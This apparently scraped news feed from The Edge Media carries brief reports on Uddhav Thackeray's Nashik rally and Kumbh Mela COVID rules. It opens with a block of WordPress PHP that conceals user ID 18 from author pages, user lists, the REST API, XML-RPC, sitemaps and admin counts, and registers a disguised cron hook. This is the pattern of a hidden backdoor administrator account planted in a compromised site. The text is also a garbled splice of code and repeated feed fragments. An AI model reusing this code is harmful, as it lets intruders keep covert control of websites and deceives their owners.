add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Uddhav Thackeray Questions BJP’s Hindutva, Targets Party at Nashik Rally appeared first on The Edge Media.
]]>Addressing a joint public rally in Nashik alongside his cousin and Maharashtra Navnirman Sena chief Raj Thackeray, Uddhav Thackeray launched a direct attack on the ruling party as campaigning intensified for the January 15 civic elections. He asked whether the BJP’s version of Hindutva was genuine or merely projected during election seasons to mobilise voters.
The Shiv Sena UBT leader also criticised the Nashik Municipal Corporation’s proposal to cut trees for the construction of a sadhugram ahead of the Kumbh Mela scheduled for next year. He questioned the rationale behind sacrificing green cover in the name of development and religious events, suggesting that environmental concerns were being ignored.
Uddhav Thackeray further said he felt sympathy for long time BJP workers who were being sidelined as the party inducted leaders with controversial backgrounds. According to him, loyal party members were being overlooked while preference was being given to what he described as tainted entrants, reflecting a shift in the BJP’s internal priorities.
The post Uddhav Thackeray Questions BJP’s Hindutva, Targets Party at Nashik Rally appeared first on The Edge Media.
]]>The post “Take the chopper, go and see what’s happening.” : HC to Uttrakhand Government appeared first on The Edge Media.
]]>
Addressing to Public Interest Litigation, a bench of Chief Justice RS Chauhan and Justice Alok Verma called the Government of Uttrakhand negligent. They also told that the Government is playing with the lives of millions of people. First Kumbh Mela and now Char dham,. The Court further said that they are ashamed when asked about what is happening to the people of the state.
The court said,” Go and see what is happening. In the video of Kedarnath and Badrinath Temples priests are not following social distancing. even for worshipping, you cannot allow 23 priests to enter the temple, take the chopper and see what is happening in Badrinath and Kedarnath.”
The Uttrakhand High Court showed severe anger and fume towards the state government. for not ensuring that Covid protocols were followed while holding religious events like Kumbh Mela and Char Dham Yatra in the midst of the Covid-19 pandemic. The next hearing on the matter is scheduled for 9th June.
The post “Take the chopper, go and see what’s happening.” : HC to Uttrakhand Government appeared first on The Edge Media.
]]>The post Prime minister Narendra Modi said kumbh Should now only be symbolic appeared first on The Edge Media.
]]>The post Prime minister Narendra Modi said kumbh Should now only be symbolic appeared first on The Edge Media.
]]>The post CM of Uttarakhand announced this related to kumbh appeared first on The Edge Media.
]]>
This year, Kumbh Mela is being organized from April 1 to April 30. Three royal baths will be held in April. On April 12 and 14, all 13 arenas will perform a holy dip, while on April 27, the Bairagi Arena will perform a holy dip.
According to the health system, 100 teams have been formed for thermal screening, while the number of teams testing COVID-19 has been increased from 40 to 50 and ambulances.
The number has also been increased from 32 to 54. A team of 100 doctors and 148 para-medical staff from Uttar Pradesh have reached Haridwar. Tents and toilets will be built and necessary facilities will also be provided to all the great temples.
Earlier, the Uttarakhand government had made the registration of saints coming to participate in Kumbh compulsory.
Devotees will have to undergo their RT-PCR test 72 hours before attending the Kumbh. They will be allowed only when their test is negative.
SOP for ashrams, ashrams, dharamshalas, ghats, hotels, restaurants, guest houses, public vehicles, parking lots, railway stations, bus stations, shops, etc. Issued.
The post CM of Uttarakhand announced this related to kumbh appeared first on The Edge Media.
]]>